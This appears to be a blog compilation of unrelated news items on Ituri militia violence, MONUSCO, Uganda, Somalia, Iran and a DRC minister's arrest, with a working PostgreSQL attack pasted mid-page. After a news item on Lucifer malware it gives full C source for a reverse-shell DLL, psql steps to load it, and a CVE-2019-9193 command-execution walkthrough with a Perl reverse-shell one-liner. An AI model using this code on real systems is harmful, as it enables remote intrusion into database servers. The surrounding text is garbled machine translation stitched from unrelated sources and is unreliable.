Boeing has won a nearly $440 million contract to build new Apache AH-64E ground support combat helicopters for Morocco,

Boeing has won a nearly $440 million contract to build new Apache AH-64E ground support combat helicopters for Morocco, the Department of Defence announced in a press release.
"The Boeing Company of Mesa, Arizona was awarded a $439,179,677 modification contract for new-build Apache AH-64E aircraft and Longbow crew trainers", the release said on Thursday .
Fiscal Year 2020 Foreign Military Sales for Morocco for the full cost of the sale were obligated at the time of the award, the Defence Department added.
Work on the contract will be performed in Mesa in the US state of Arizona over the next five years with an estimated completion date of 1 March 2025, the release said.
On 14 May, Boeing won two cruise missile contracts worth over $2.6 billion combined to support foreign military sales to Saudi Arabia, Japan, India, South Korea, Qatar, Brazil, and The Netherlands.

The head of office of Monusco in Ituri, Cecilia Piazza condemns insecurity and killings by militiamen in ITURI and calls UN to establish another office in the province

The head of office of Monusco in Ituri, Cecilia Piazza made, during an exchange with the press on Monday June 29, 2020 in Bunia, a global return on the work of the UN mission in this province, during the two years of his mandate.
Although "not perfect", she judges the results of her institution to be "satisfactory".
Context of his arrival in Ituri.
It was the day after the outbreak of the atrocities in Djugu that Ms. Cecilia set foot in Ituri. A province plagued by insecurity. For two years, she managed in a "tense" context. CODECO militia activism, "an ongoing battle".
“Two intense years, just with the start of violence in Djugu. Djugu was at the heart of our work and continues to be, "she said.
According to her, the contribution of the UN mission has been of great importance in managing the security situation in Djugu and Mahagi.
In Djugu, several temporary bases have been set up, on the one hand, to ensure daily patrols, and on the other, to protect civilians, in particular displaced people housed in different sites (Blukwa, Bule, Fataki, etc.). An effective means of prevention against rebel attacks.
In the Mahagi territory, the temporary base at Ame, on the border with neighboring Djugu, was of great importance. In this part, very often, the attackers come from Djugu, pass there to commit their crime.
"This presence helped mitigate the infiltration. We have succeeded in stabilizing this limit between the two territories ", while also welcoming the" patrols along the national road N ° 27 ".
Regarding Mahagi, she thinks that beyond the infiltration of CODECO, there are "
earth-related tensions ”. What must find a solution, in the concern of lasting stability.
Peace, another process in Ituri.
In each territory, it leaves behind it, "many projects in progress". Peace, security, impunity, the protection of civilians, justice, youth, the DDR process, (...) the main part of the intervention of Monusco.
Addressing specifically the Djugu stabilization project, which will be executed by STAREC, she insisted on "political commitment and communities" for its "success".
Also, she said, the fight against impunity remains a major priority.
"It is a duty to the victims, to their relatives." Hence, we must "support military justice".
Despite the efforts made, her regret during her reign was that "violence is still there", she said. "I call on all the perpetrators to stop," insists Ms. Cecilia.
When falling, she did not fail to salute the welcome and collaboration of all social strata of Ituri, vis-à-vis Monusco, since her arrival. From the people, to civil society, to the provincial government.
From Bunia, in Ituri, Ms Piazza will go to Beni, in North Kivu, where she will have to assume a new responsibility, within the UN mission.
A new head of the office is therefore expected in the coming days, at the capital of Ituri, at the head of Monusco. In a province, so far, where insecurity is still persistent.

MONUSCO paid tribute to Sergeant Major Wahyudi Rama from the Indonesian contingent, killed on June 22, in an attack by armed men not far from the Semuliki bridge, on the road to Beni-Kasindi, the territory of Beni, North Kivu province. The tribute ceremony was organized on Saturday, June 27, at Beni airport, in the presence of both civilian and military officials of the UN Mission in DRC.
MONUSCO Force Commander, Lieutenant-General Augusto Ferreira Costa Neves; the Commander of the MONUSCO Integrated Force Brigade, Major-General Patrick Dube, and the Acting Mayor of the City of Beni, Modeste Bakwanamaha, took part in the tribute ceremony.

President Museveni ranked among the best presidents of the world

President Yoweri Kaguta Museveni has been ranked among the best President’s in the World, according to a New York University and World Bank experts who ranked the President 7th in terms of influencing economic growth.
The report first released in May 2018 by the World Bank economist Steve Penning’s and New York University Economics Professor William Easterly indicates that Museveni is one of the best leaders with a significant positive impact on their countries economic growth.
The two experts define the best leaders as any leaders for whom estimated leader effect is positive and significant at the 95% level and the worst leader are those with negative and insignificant leader effects.
The findings that were entitled “Shrinking dictators: how much economic growth can we attribute to national leaders” ranked Senior General Than Shwe of Burma as number one for being the most influential leader who steered his country’s economic growth at 3.95% and shrinkage of just 0.71%. He was the head of the State of Burma between 1992 and 2011 as chairman of the State Peace and development Council (SPDC).
“Leadership requires bold initiatives and President Museveni must be credited for this. It requires stringent and well thought out policies to reverse the decline our country was in and revamp the economy. Its not surprising the Museveni has firmly put this country on a steady economic growth,” Stephen Miyingo, the Senior Presidential Advisor on Economic Affairs said of the report. He said the report provides a third party independent opinion which confirms what the NRM government has been telling Ugandans.
Easterly and Hennings ranked 24 world leaders and President Museveni came in the 7th position, scoring higher than many powerful leaders globally including the former Prime Minister of Singapore Lee Kuan Yew and Park Chung-hee former President of South Korea between 1963 and 1979. Museveni’s significant contribution to Uganda’s economic growth is said to be a record 2.42% with a shrinkage of only 0.78% since he came to power in 1986.
The report also established that leaders like Yoweri Museveni and Seretse Khama of Botswana rank higher than Lee Kuan Yew of Singapore partly because they did will in relation to the lower average regional growth in Sub Saharan Africa compared to East and South Asia.
While making is assessment on Museveni contribution, the report highlighted the infrastructure development at its peak now with 5,350km total of paved roads compared to 987km of 1986. The General quality of lives and standard of living has improved tremendously together with an increase in incomes despite the increase in the population growth.
Other sectors highlighted include the employment sector with a national employment rate reducing from 11% to 8%, access to electricity grid has increased to 22% in 2017 from 14% in 2013 and access to water has also risen from 68% to78% during the same period. Revenue collections per annum has also increased, for instance in 2005/06 the total revenue collected was Shs 2.23 trillion compared to the estimated Shs 20trillion to be collected next financial year.
The report also highlighted the robust peace and security under Museveni that has been credited for the prevailing economic growth, restoration of freedom of speech, press freedom, freedom of worship relative democracy, effective foreign policy, education and tourism.

Lucifer malware also mines Monero cryptocurrency on infected devices ,also has ability todrop/run leaked NSA(National security agency,USA's national intelligence level) exploits including DoublePulsar, EternalBlue, and EternalRomance against vulnerable devices to enable intranet infection.

Palo Alto Networks’ Units 42 researchers have discovered a new version of a “hybrid crypto-jacking malware,” which they have dubbed “Lucifer.”
Lucifer malware is capable of launching DDoS attacks and can attack vulnerable Windows hosts using a variety of “trivial-to-exploit nature” flaws most of which are either rated ‘high’ or ‘critical.’
The first wave of this campaign was blocked by Palo Alto Networks on 10 June 2020, but the attacker resumed the campaign the very next day with an upgraded version of Lucifer malware. The campaign is still active and wreaking havoc by targeting Windows computers to mine for cryptocurrency and launching intense DDoS attacks.
Palo Alto Networks’ researchers observed that the new variant of Lucifer is immensely powerful as it performs crypto-jacking by dropping XMRig to mine for Monero cryptocurrency , connect to C&C server and enable self-propagation via exploiting multiple vulnerabilities along with launching credential brute-forcing.
Furthermore, it can drop/run leaked NSA exploits including DoublePulsar, EternalBlue, and EternalRomance against vulnerable devices to enable intranet infection.
“Once exploited, the attacker can execute arbitrary commands on the vulnerable device. In this case, the targets are Windows hosts on both the internet and intranet, given that the attacker is leveraging certutil utility in the payload for malware propagation” said on the researchers in a blog post . "

NSA exploits in action:

The malware developer named it Satan DDoS but since Satan Ransomware exists already, Palo Alto researchers chose to name it as Lucifer.
The good thing is that patches for weaponized security vulnerabilities are already available but hosts that haven’t been updated yet are still vulnerable to crypto-jacking. Researchers urge users to immediately apply the latest patches and updates to secure their devices.

Ituri province is on fire! 10 more people were killed by CODECO in the night of sunday-monday 29/06/2020

The attackers of the CODECO militia signed, on the night of Sunday to Monday, June 29, 2020, an attack in the locality Mungulumoya, 5 km from the center of Kunda in the chiefdom of Babelebe, in Irumu territory.
At least 10 civilians were killed and 3 others seriously wounded, during this attack of firearms and sharp bladed weapons.
Although the situation is already under control of the Congolese security forces, this locality remains emptied of its population, which has moved massively to the center of Kunda, about ten kilometers from the city of Bunia.
Faced with this situation, the provincial deputy Claude Malabo, urges the Congolese state to better secure the inhabitants, unjustly massacred.
"The army must secure the entities threatened by these enemies of peace. But I believe that we must also succeed in destroying them definitively. The population no longer knows how to live in peace following permanent threats, "said this elected representative from Irumu's electoral district.
In addition to Djugu and Mahagi, in recent months, certain entities in Irumu territory have also been the target of this militia of the Cooperation for the Development of Congo (CODECO).

More on that Attack!

#define PG_REVSHELL_CALLHOME_SERVER "127.0.0.1" #define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif
#pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,                     _In_ DWORD fdwReason,                     _In_ LPVOID lpvReserved) {     WSADATA wsaData;     SOCKET wsock;     struct sockaddr_in server;     char ip_addr[16];     STARTUPINFOA startupinfo;     PROCESS_INFORMATION processinfo;
    char *program = "cmd.exe";     const char *ip = PG_REVSHELL_CALLHOME_SERVER;     u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
    WSAStartup(MAKEWORD(2, 2), &wsaData);     wsock = WSASocket(AF_INET, SOCK_STREAM,                       IPPROTO_TCP, NULL, 0, 0);
    struct hostent *host;     host = gethostbyname(ip);     strcpy_s(ip_addr, sizeof(ip_addr),              inet_ntoa(*((struct in_addr *)host->h_addr)));
    server.sin_family = AF_INET;     server.sin_port = htons(port);     server.sin_addr.s_addr = inet_addr(ip_addr);
    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),               NULL, NULL, NULL, NULL);
    memset(&startupinfo, 0, sizeof(startupinfo));     startupinfo.cb = sizeof(startupinfo);     startupinfo.dwFlags = STARTF_USESTDHANDLES;     startupinfo.hStdInput = startupinfo.hStdOutput =                             startupinfo.hStdError = (HANDLE)wsock;
    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,                   NULL, NULL, &startupinfo, &processinfo);
    return TRUE; }
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS) {     int32 arg = PG_GETARG_INT32(0);
    PG_RETURN_INT32(arg + 1); }
Here is the convoluted process of exploitation:
postgres=# CREATE TABLE hextable (hex bytea); postgres=# CREATE TABLE lodump (lo OID);
acidic@emma:~/$ echo "INSERT INTO hextable (hex) VALUES               (decode('`xxd -p pg_revshell.dll | tr -d '\n'`', 'hex'));" > sql.txt acidic@emma:~/$ psql -U postgres --host=localhost --file=sql.txt
postgres=# INSERT INTO lodump SELECT hex FROM hextable; postgres=# SELECT * FROM lodump;   lo -------  16409 (1 row) postgres=# SELECT lo_export(16409, 'C:\Program Files\PostgreSQL\9.5\Bin\pg_revshell.dll'); postgres=# CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS            'C:\Program Files\PostgreSQL\9.5\binpg_revshell.dll', 'dummy_function' LANGUAGE C STRICT;

The arbitral command execution on postgreSQL

PostgreSQL, commonly known as Postgres is one of the largest and most popular database systems in the world. It is the primary database of Mac OSX but also has Linux and Windows versions available.
For a time I have been dealing with postgreSQL,I have keenly been monitoring the less well known ‘feature’ (CVE-2019–9193) which allows certain database users to gain arbitrary code execution in the context of the user running the Postgres instance. This is something which is enabled by default on all versions of PostgreSQL from 9.3 through to the latest of 11.2. This affects all operating systems, Windows, Linux and Mac.
Since version 9.3, new functionality for ‘COPY TO/FROM PROGRAM’ was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. This effectively means there is no separation of privilege between a database superuser user and the user running the database on the operating system.
This is a lack of defense in depth which we used to see in Microsoft SQL Server back in the early 2000s, when the xp_cmdshell function was enabled by default. This was patched and disabled by default in Microsoft SQL Server 2005, but it is interesting how the same bugs repeat, seemingly in cycles.
As this bug/flaw/functionality/exploit is somewhere between a privilege escalation and an arbitrary code execution, it needs some kind of prior authentication. This is achieved either through access to the database with credentials, or via exploiting an SQL injection in an application which has PostgreSQL on the backend. Again, in both of these instances either the superuser or a user with ‘pg_execute_server_program’ permissions needs to be in use.
To perform the attack, you simply follow these steps:
1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;
2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);
3) Run the system command via the COPY FROM PROGRAM function
COPY cmd_exec FROM PROGRAM ‘id’;
4) [Optional] View the results
SELECT * FROM cmd_exec;
5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;
Note that any single quotes inside your command must be double single quotes to escape them, so for example if you wanted to run:
echo ‘hello’;
You would need to put it inside single quotes, and then replace all single quotes inside with double single quotes:
‘echo ‘’hello’’;’
I have tested this on all major operating systems, and if a reverse shell is triggered you end up with the following privileges:
Windows - NT AUTHORITY/NETWORK SERVICE (low priv)
Linux - postgres (low priv)
Mac - user that installed postgres (usually an admin)
Linux and Mac OSX can usually be exploited with a perl one liner, with a command such as this:
COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;
I have simplified the exploitation processes by releasing a new
Metasploit module (which should be
merged into the main framework soon), as the old postgres_payload modules only work up to around version 8. postgres_copy_from_program_cmd_exec.rb performs all of the above automatically, if you provide it with valid database credentials which have the correct permissions. For SQL Injections you will have to take the manual route. Here it’s exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04:
For Windows however, the NETWORK SERVICE user appears not the have any write privileges, but it was still possible to trigger a reverse shell by using a PowerShell download cradle. This can be provided by settings the COMMAND variable to the PowerShell cradle command, take note to escape single quotes with a backslash \. 

The Somali national army seized 4 starategic villages from alshabab this ended weekend

The Somali National Army has seized four new strategic villages from Al-Shabaab militant group in Lower Juba region on Sunday.
The operations conducted by the government troops have taken the control of some villages including Janay Abdale, Hilishid, Mayonde and Garasceebe under Lower Juba region.
Lieutenant Ismail Abdimalik Moalim, the commander of the 16th brigade of the Danab forces, said the operations would continue until the troops reached all the areas controlled by AL-Shabab fighters.
The commander of the Darwish forces in the Jubbaland region told the media that he had begun operations against militias in the central town of Buale but still needs more effort to capture.
The forces have been conducting operations against al-Shabaab in the Lower Juba region in recent days to flash out Al-Shabab militant group in the region.

FBI refuses to reveal Christopher Steele’s primary source for his notorious ‘Trump-Russia’ dossier in response to a Freedom of Information

The identity of the source remains an enduring mystery, but whoever they are, they undoubtedly possess information that could shed light on innumerable inaccuracies in the dossier, which was cited extensively by the Bureau in its various applications for surveillance orders against Donald Trump campaign aide Carter Page.
The US Federal Bureau of Investigation has refused to release documents related to Christopher Steele’s primary source for his notorious ‘Trump-Russia’ dossier in response to a Freedom of Information request filed by The Daily Caller, on the basis the information is classified and risks identifying a confidential FBI source.
The Daily Caller sought all FBI records for an individual identified as “Primary Sub-Source” in Justice Department inspector general Michael Horowitz report on Crossfire Hurricane, issued December 2019 – the assessment found Steele’s source contradicted and dismissed key allegations made in the dossier, after they were tracked down and interviewed by FBI agents in January 2017. The former MI6 operative nonetheless dressed up “rumour and speculation” as fact – and the Justice Department ruled two FISA warrants to be invalid due to the Bureau’s omission of this compromising information.
— Chuck Bledsoe@gab.ai ✝ ﻥ #CCOT #MAGA🇺🇸 (@BledsoeChuck) June 26, 2020
In its response to the outlet, the FBI cited three exemptions under Freedom of Information laws to deny releasing the sought documents.
“The nature of your request implicates records the FBI compiles pursuant to its national security and foreign intelligence functions. [Disclosure] would trigger harm to national security interests…and/or reveal intelligence sources and methods. Disclosing source related records about an individual or entity could reasonably be expected to undermine the use of confidential sources as it would discourage cooperation with the FBI in the future. Therefore, your request is closed,” the Bureau stated.
It’s unclear if the FBI considers Steele’s source to be a confidential informant, but Steele himself reportedly told partners at Fusion GPS – the opposition research firm that commissioned the dossier – the individual was “well known to US intelligence and law enforcement officials”.
— Catherine Herridge (@CBS_Herridge) June 12, 2020
Republican lawmakers investigating the origins of the FBI’s investigation of the Trump campaign have recently accused agency director Christopher Wray of releasing documents about the probe too slowly. For instance, Jim Jordan of the House Judiciary Committee, has accused Wray of outright obstinance, while Lindsey Graham, chair of the Senate Judiciary Committee, wrote Attorney General William Barr on April 20 demanding all documents and communications related to the FBI’s interviews with the source, including FBI reports written about the individual, be released.

Iran creates new army weapons including rocket launchers and missiles

The new weapons, developed by a Revolutionary Guards’ agency responsible for military R&D, have been unveiled amid the Trump administration’s ongoing effort to convince the international community to continue to enforce an arms embargo against Tehran after its October expiry date.
Gen. Ali Koohestani, director of the Revolutionary Guards’ Ground Force Self-Sufficiency Jihad Organization, has given Tasnim News Agency a sneak peek at several new weapons systems for use by infantry formations.
The arms include the Qare’a, a disposable, lightweight rocket launcher made of composite materials, which features a rocket engine-powered 80 mm caliber missile. The weapon is said to have an effective range of 250 meters, and to be ideal for anti-fortification use.

Another of the R&D agency’s designs is a man-portable recoilless rifle dubbed the Nafez-2 (‘Penetrator-2’), a 19 kg anti-armour system which can also be used against enemy emplacements.
Finally, Koohestani unveiled the Ashtar, a unique, lightweight 7.62x64 mm sniper rifle with a range of up to one kilometer and a 24x optical scope.

It’s not clear from the report what stage of development the weapons are in, or whether they have been delivered to the military.
The Tasnim report comes just a day after the IRGC unveiled other arms, including a new armoured personnel carrier, drone and truck-mounted heavy machine-gun, all of them also developed by the Guards’ Ground Force Research and Self-Sufficiency Jihad Organization.
Despite spending just a fraction of what its regional adversaries and the US do on defence, Iran has managed to gain self-sufficiency in a range of areas, becoming one of just a handful of countries capable of building advanced drones and air defence systems, for example. The country began making a push toward self-sufficiency in defence in the 1980s after its US and Western European partners cut Tehran off from its traditional sources of arms following the Iranian Revolution and the Iraqi invasion. Before that, throughout the 1960s and 1970s, the country was one of the largest importers of US weapons systems in the Middle East.
Further moves toward self-sufficiency followed in 2010, after the United Nations Security Council introduced a weapons embargo against the Islamic Republic over its alleged nuclear program.
After 2015 and the signing of the Iran nuclear deal, the UN committed to lift its arms embargo in October 2020. However, beginning earlier this year, the US has lobbied to keep the restrictions in place, going so far as to argue that for all intents and purposes, Washington is still a party to the nuclear deal it withdrew from in 2018. Russian and Chinese diplomats have dismissed US lobbying efforts and hinted that they would veto any American effort to extend the embargo.

ADF and MAIMAI terrorising Walese-Vokontu chiefdom in Irumu territory in ITURI

The NGO-DH Convention for the respect of human rights (CRDH) in Irumu territory in the province of Ituri, alert on the illicit harassment and enrichment of Mayi-Mayi militiamen in several agglomerations of this territory in Walese chiefdom -Vonkutu.
According to its coordinator Christophe Munyanderu, who presented the  information onon Saturd, June 27, 2020, the latter demand a sum of 3,000 Congolese francs as well as a quantity of food from the farming inhabitants, who began to return to this region after the recent attacks by Ugandan ADF rebels.
"In general, in Irumu territory, there is the activism of armed groups, in particular the Mai-Mai militiamen in the Walese-Vonkutu chiefdom. While the latter commit atrocities on the population. They are demanding from each cultivator 3,000 FC and a quantity of food for their survival in this entity. " he declares.
Christophe Munyanderu demands the urgent involvement of the competent authorities to settle this situation. He wishes to see these militiamen be dislodged in this part, so that the population lives in peace.
Note that the Walese-Vokontu chiefdom in Irumu territory is also facing the activism of the ADF rebels. The latter have repeatedly attacked the villages of Ndalya, Biane, Mufutabangi and the surrounding area, causing the death of several civilians and the massive displacement of survivors.

On this Sunday,CODECO militias have killed two more people.

A new attack by militiamen from the Congo Development Cooperative, CODECO in acronym, has been reported in Maze, a locality in the territory of Djugu, chiefdom of Bahema North.
According to local civil society reporting, it was around 9 p.m. that these outlaws entered, with the aim of looting the property of the population.
But they killed a woman and her son before taking away several goats belonging to the victim.
“We killed 2 people, Maman Joséphine and her son Deogracias. They were assassinated around 9 p.m. in the village of Beti on Labo hill and took several goods from his house "testifies Jean-Vianney Nguess.
He also adds that these CODECO millers came from the Ladedjo group to get food before returning to their camp.
In this territory, the macabre counting is done almost every day.
Like this Sunday, Bahema Badgere civil society has alerted to the deaths of at least 12 civilians in just 2 days, still by CODECO attackers.

What about three years CODECO has spent terrorising ITURI?Am happy that MONUSCO and DRC answered my Questions.People in ITURI must have peace.

It has been almost three years since the beginning of the atrocities attributed to the CODECO militia in the Djugu territory located north of the city of Bunia in Ituri. Under the facilitation of Monusco, local news outlets carried out a mission to assess the security and the impact of the action of  MONUSCO engaged alongside the Congolese army, in the heavy task of restoring the peace in this part of the country.
Several villages visited on the Bule-Largu-Maze axis, considered "the epicenter of violence" for having been the starting point in December 2017, are almost uninhabited and present an image of desolation, with houses for the most burned down and fields of crops abandoned and devastated.
For two days, from June 25 to 27, 2020, our reporter who traveled on a completely dilapidated road during this rainy period, the localities of Katoto, Lita, Kparanganza, Largu, Ché, Saliboko, Dheja, Blukua, Drodro, Roe, Maze… paints a picture of a dying territory, with a population mainly on the run.
Katoto, a locality located some 20 km from Bunia, the residents timidly fear in their stomachs, fearing possible attacks from the surrounding villages where the militiamen operate.
Despite the almost regular patrols of UN soldiers, a large part of the population of this locality remains on the move in the capital of the province, where several hundred thousand IDPs live, living in makeshift camps, supported by the humanitarian.
Farther away, Kparanganza is among the rare villages inhabited by the two antagonistic tribes of the region, the Hema and the Lendu, whose dwellings are only separated by a road. Here, only houses with closed doors offer a welcome to visitors.
This is also the case of other entities like Che, Saliboko on the road to Drodro, which have almost completely emptied of their inhabitants following multiple attacks. Most of them took refuge in the Roe site, which today hosts between 4,000 and 5,300 civilians, according to estimates by Charité Banza, leader of civil society in the region.
The security of this largest IDP site inside Djugu is provided by the Bangladeshi contingent of Monusco.
Children displaced at Roe site
But Banza condemns the way international NGOs distribute food for these vulnerable people.
"How can we distribute food to some and leave others?" More than 1,500 displaced people live in unknown sites that are not receiving assistance, "he said, citing in particular the Djangi, Una and Vongi camps located just a few kilometers from Drodro.
Exchange between Monusco peacekeepers, FARDC soldiers and the civilian population in Maze
Passing Roe to go to Dheja, Gustave Dhendro and other local notables pleaded for the installation of a temporary base of peacekeepers in this environment which constitutes a great passage for the attackers during their attacks.
On their way back from Dheja, MONUSCO soldiers administered medicine to a few residents of Maze who were found sick.
Arriving at Drodro, the main town in the region, the Curé of the Catholic parish, which also receives a large number of displaced people, called on Monusco to intensify its patrols.
Father Dieudonné Londjiringa also called for increased humanitarian assistance in food and drinking water for people who fled their villages.
Displaced people accommodated within the catholic parish of Drodro
Formerly considered as one of the “granaries” of the province and the country for its supply of agricultural products, in particular beans, potatoes, corn and others which flooded the markets of Bunia, Kisangani and even Kinshasa where they were routed via the Congo River, the territory of Djugu, is now only a shadow of itself.
Despite all the efforts of the national army, the UN mission, the provincial and national authorities to destroy the CODECO militia whose motivations are often badly or little expressed, peace is slow to return.
It should be noted that Djugu is in the center of the province of Ituri and is among the most populated territories in the Congo with a population estimated at more than 2 million inhabitants, making it one of the main hotbeds of conflicts.
The reestablishment of state authority poses a huge problem in this entity, there are entire villages devoid of a police or military presence.
Access to justice is also one of the biggest challenges.
Djugu’s entire territory has only one peace tribunal, which sits in the mining town of Mungwalu in the far west. This means that entire populations have to travel several kilometers to meet with a judge.

The only prison in Djugu’s territory since the colonial era is also being abandoned following its very dilapidated state. The promise of its rehabilitation made last year by Congolese President Félix Tshisekedi during his visit to the region is slow to materialize.
You can get my questioning about these CODECO militiamen here

A brief biography of Janet Kataha Museveni

Hon.Janet Kataaha Museveni born June 24, 1948 is the First Lady of Uganda since May 1986. She is married to President Yoweri Museveni, with whom they have four children. She is the current Minister of Education and Sports in Uganda's Cabinet. She was appointed to this position on 6th June, 2016. She previously served as Minister for Karamoja Affairs in the Cabinet of Uganda from 27 May 2011 until 6 June 2016. She also served as the elected Member of Parliament representing Ruhaama County in Ntungamo District, between 2011 and 2016.
Janet Museveni went into exile in 1971, when Idi Amin toppled the Obote I regime in a military coup. She married Yoweri Museveni in August 1973. When Idi Amin's regime fell from power in April 1979, she moved back to Uganda from Tanzania where she had been living in exile with her husband.
In February 1981; Janet Museveni and her children re-located to Nairobi, Kenya, where they lived with family friends until 1983. In 1983, they moved to Gothenburg, Sweden, and stayed there until May 1986, four months after Yoweri Museveni's National Resistance Army had seized power in Kampala.
Janet Museveni an old girl of Bweranyagye Girls Secondary School; holds a Bachelors Degree in Education from Makerere University which she acquired in 1997 after joining the university in 1995. She also has a Diploma in Early Childhood Development from Sweden.
In November 2005 Janet Museveni showed her desire to join active politics when she announced that she would seek the parliamentary seat of Ruhaama County, in the February 2006 Ugandan general elections. She contested the seat against the candidate for Forum for Democratic Change, Augustine Ruzindana, and won overwhelmingly. She was re-elected in March 2011 to another five-year term.
On 16 February 2009, Janet Museveni was appointed State Minister for Karamoja Affairs and on 27 May 2011, she was elevated to Minister for Karamoja Affairs.
Aside politics and being the first lady of Uganda; Janet Museveni boasts of other achievements such as being the founder of Uganda Women's Effort to Save Orphans (UWESO), an indigenous NGO which cares for war-related and HIV/AIDS-affected orphans in all the Districts of Uganda. The NGO has been in operation since 1986 and works with major UN agencies and other international donor agencies.
The first lady is also the founder and Patron of National Strategy for the Advancement of Rural Women in Uganda (NSARWU), an NGO which works with poor rural women to empower them economically through various interventions.
Founder and Patron of the Uganda Youth Forum (UYF) and NGO that engages the youth of Uganda for purposes of character and behavior formation particularly with regard to HIV and AIDS prevention. Janet Museveni is also the Patron of the Safe Motherhood Initiative of the Ministry of Health and WHO for reduction of maternal mortality and morbidity. She is as well the Co-chair of CURE Hospital - a special Hospital for crippled children in Uganda, with CURE International.
She is also an Active member of OAFLA, an Organization that unites the First Ladies of Africa in the fight against HIV and AIDS in the Region.

Why Celestine Tiguan ya kasende,DRC minister of Justice was arrested?

Celestine Tiguan ya kasende was born in Bukavu on July 21, 1954. Originally from Lubao, a former district of Kabinda, which has become a province of la Lomami, he is married to Madame Julielle Kasongo mbiye.
He studied at the Athénée Royale in Bukavu, then humanities at the College of the Holy Spirit of the Jesuits in Bujumbura, where he obtained his state diploma in 1975, in 1984 he obtained a degree in Public Law at the University of Kinshasa.

Last night,A dozen police officers camped in front of the home of Congolese Minister of Justice, Célestin Tiguan ya Kasende, in Kinshasa. "A mandate to bring" was issued against him by the Attorney General at the Court of Cassation, confirmsc a police source.
However, still according to this source, Minister Tiguan did not "agreed" to follow the police. " He locked himself in his house. He denounced a violation of the procedure, explaining that before he is arrested, the National Assembly must be able to lift its immunity.
According to our reports, his arrest follows the opening of a judicial process in flagrancy against Minister Célestin Tiguan. On friday during the Council of Ministers, it was established that the latter sent an opinion on behalf of the government to the National Assembly, without having informed its hierarchy.
During the Council of Ministers on Friday, June 26th in Kinshas led by President Félix Tshisekedi, a subject has opposed government ministers. These are the controversial laws of FCC Minaku and Sakata. According to our reports, the Deputy Prime Minister and Minister in charge of Justice Célestin Tiguan ya Kasende had just started the debates around these laws before one of his colleagues challenged it. " Mr. President [of the Republic], the Minister of Justice is laughing at you], said the Deputy Prime Minister and Minister of Budget, Jean-Baudoin Mayo, whose words are reported by two ministers who took part to the Council of Ministers.
Like several ministers from the cach coalition, Jean-Baudoin Mayo then points out to the head of state that the laws under discussion are already being handled by Minister Tiguan, who has already sent the government's opinions to the National Assembly. " In turn, President Félix Tshisekedi, shocked, returns to the Minister of Justice to confirm the facts. The latter did not deny it, the head of state preferred to leave the video conference, regret that there is a lack of sincerity. He also asked that this incident be recorded in the report ", explains a minister who required anonymity.
The National Assembly had before the government to give its opinion on these three proposals of laws which are widely challenged by both the opposition and the presidential party, udps. However, in a letter dated June 20, 18, the Minister of Justice delivered the opinions to the National Assembly "on behalf of the government". In his letter, where he copy Prime Minister Sylvestre ilunkamba , he says he gives "the opinion" of the government, while the same topic is expected to be discussed at the Government Council this Friday, June 26
Speaking after the departure of the head of state, Prime Minister Sylvestre ilunkamba quickly closed the debates in a fish tail. There is no doubt that the chapter will continue in the next few hours. Content URLs link a link to the content you want to post on your website. EmbarquerEn learn more about on-board content (opens a new tab) Sorry, this content can't be boarded. Try to convert to link
In the evening, the famous letter and proposals from the Minister of Justice surfaced on social media. Some opponents, who would denounce the Minaku-Sakata law, have denounced the fact that Minister Célestin Tiguan also passes the Council of Ministers to give his opinions on behalf of the government. " The Minister of Justice has committed a serious fault to Parliament on controversial proposals by the Government on controversial proposals, and the Minister of Justice has committed a serious fault in the duties of his office. Trust is broken, he will either resign or be removed ", said MP Claudel Lubaya on Twitter.
For its part, the Congolese Human Rights Association calls for prosecutions against Minister Célestin Tiguan. " The acaj calls on the Attorney General near the Court of Cassation to open an urgent criminal investigation into the conditions in which the VPM TUNDA sent the Assembly opinions, on behalf of the Government, on behalf of the Government, on the 3 MINAKU texts, then that he had never ruled it ", says his president Deep.
At the Cabinet of Minister Tiguan, it is insane that the minister tried to do anything without the government's knowledge. " There was no question of doing this action at the government's government because the prime minister, head of government, was in copy and the Deputy Minister of Justice (of member)... so this transmission took place in full transparency ", explains a member of the cabinet of this minister from Joseph Kabila's coalition.
In these three legislative proposals, Members Garry Sakata and Aubin Minaku propose, among other things, a conference of prosecutor s' conference as a forum for dialogue and exchange. It will, according to the proposal, be chaired by the Minister of Justice. One of the texts discusses the procedure for the Minister of Justice against the prosecutor's office. This is one of the proposals that upset the opposition. The two elected officials propose that the guard of the seals, which is no other than Minister Célestin Tiguan, have the opportunity to report a fault committed by a judge. However, to suspend, suspend or blame the latter would remain the responsibility of the Supreme Council of the Judges. In protest, udps militants, the party of Félix Tshisekedi, have shown on the edge of the People's Palace, the headquarters of the Congolese Parliament, on Monday and Tuesday. Some vehicles, including those of a MP, have been sent. Police had to step in with tear gas to restore order.

What Emmanuel shadry and his party had to say on his arrest?
The senior officials of the People's Party for Reconstruction and Democracy (pprd) have shown unprecedented solidarity with one of their, Célestin Tiguan ya Kasende who had just been arrested, audition and released.
Barely learned of the arrest of the Minister of Justice, many of them landed before the court of Cassation, at the prosecutor's office where the minister and their colleague of the party, Célestin Tiguan ya Kasende.
